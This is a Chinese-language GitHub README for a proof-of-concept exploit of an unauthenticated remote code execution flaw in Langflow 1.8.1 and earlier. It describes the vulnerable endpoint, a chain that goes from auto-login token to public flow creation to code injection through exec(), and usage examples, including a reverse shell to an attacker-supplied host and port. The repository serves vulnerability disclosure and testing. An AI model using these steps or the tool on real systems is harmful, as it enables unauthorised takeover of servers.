omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC
GitHub: omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC
Langflow 1.8.1 及更早版本未认证远程代码执行漏洞的概念验证工具,通过恶意流定义注入实现任意命令执行。
Stars: 1 | Forks: 0
# CVE-2026-33017-Langflow-RCE-PoC
Langflow 1.8.1 及更早版本中的该漏洞允许远程未经认证的攻击者在主机上执行任意命令。
## 描述
`POST /api/v1/build_public_tmp/{flow_id}/flow` 端点允许任何人在未经认证的情况下构建公开流 (flow)。
通过提供可选的 data 参数,攻击者可以用自己精心构造的定义覆盖存储的流,并在节点配置中嵌入任意 Python 代码。这段用户控制的代码通过 exec() 执行,没有沙箱或验证,从而导致未经认证的远程代码执行。
## 受影响版本
```
Langflow 1.8.1 and earlier
```
## 功能
- 如果 `AUTO_LOGIN=true`,则创建公开流
- 漏洞执行:执行任意命令。
- 反向 Shell:启动基于 bash 的反向 shell。
## 前置条件
- 目标 Langflow 实例至少有一个公开流(常见于演示、聊天机器人或共享工作流中)
- 一个公开流的 UUID(可从共享链接/URL 中获取)
- 无需认证
当 `AUTO_LOGIN=true`(默认配置)时,未经认证的攻击者可以满足所有条件:
- `GET /api/v1/auto_login` → 获取超级用户 token
- `POST /api/v1/flows/` → 创建公开流
- 通过 `build_public_tmp` 触发漏洞利用,无需任何认证
## 用法
```
python cve-2026-33017.py [options]
```
选项:
```
-p PORT, --port PORT: SSH port (default: 7860)
-id FLOW_ID, --flow_id FLOW_ID: Public Flow ID (a new one will be created if omitted)
-c COMMAND, --command COMMAND: Custom command to execute
--shell: Launch a reverse shell
--lhost LHOST: Attacker's IP for reverse shell
--lport LPORT: Attacker's port for reverse shell (default: 4444)
-t TIMEOUT, --timeout TIMEOUT: Connection timeout in seconds (default: 5)
```
## 示例:
### 执行命令:
```
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'
```
### 启动反向 shell:
```
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
```
## 参考
[GitHub 公告](https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx)
[NVD CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
[Medium](https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896)
## ⚠️ 免责声明
此 PoC 仅用于**教育和研究目的**。使用风险自负。作者不对任何滥用或造成的损害负责。
标签:AI安全, Chat Copilot, CISA项目, CVE-2026-33017, Langflow, Langflow RCE, Maven, PoC, RCE, 任意命令执行, 反向Shell, 威胁模拟, 暴力破解, 未授权访问, 漏洞验证, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护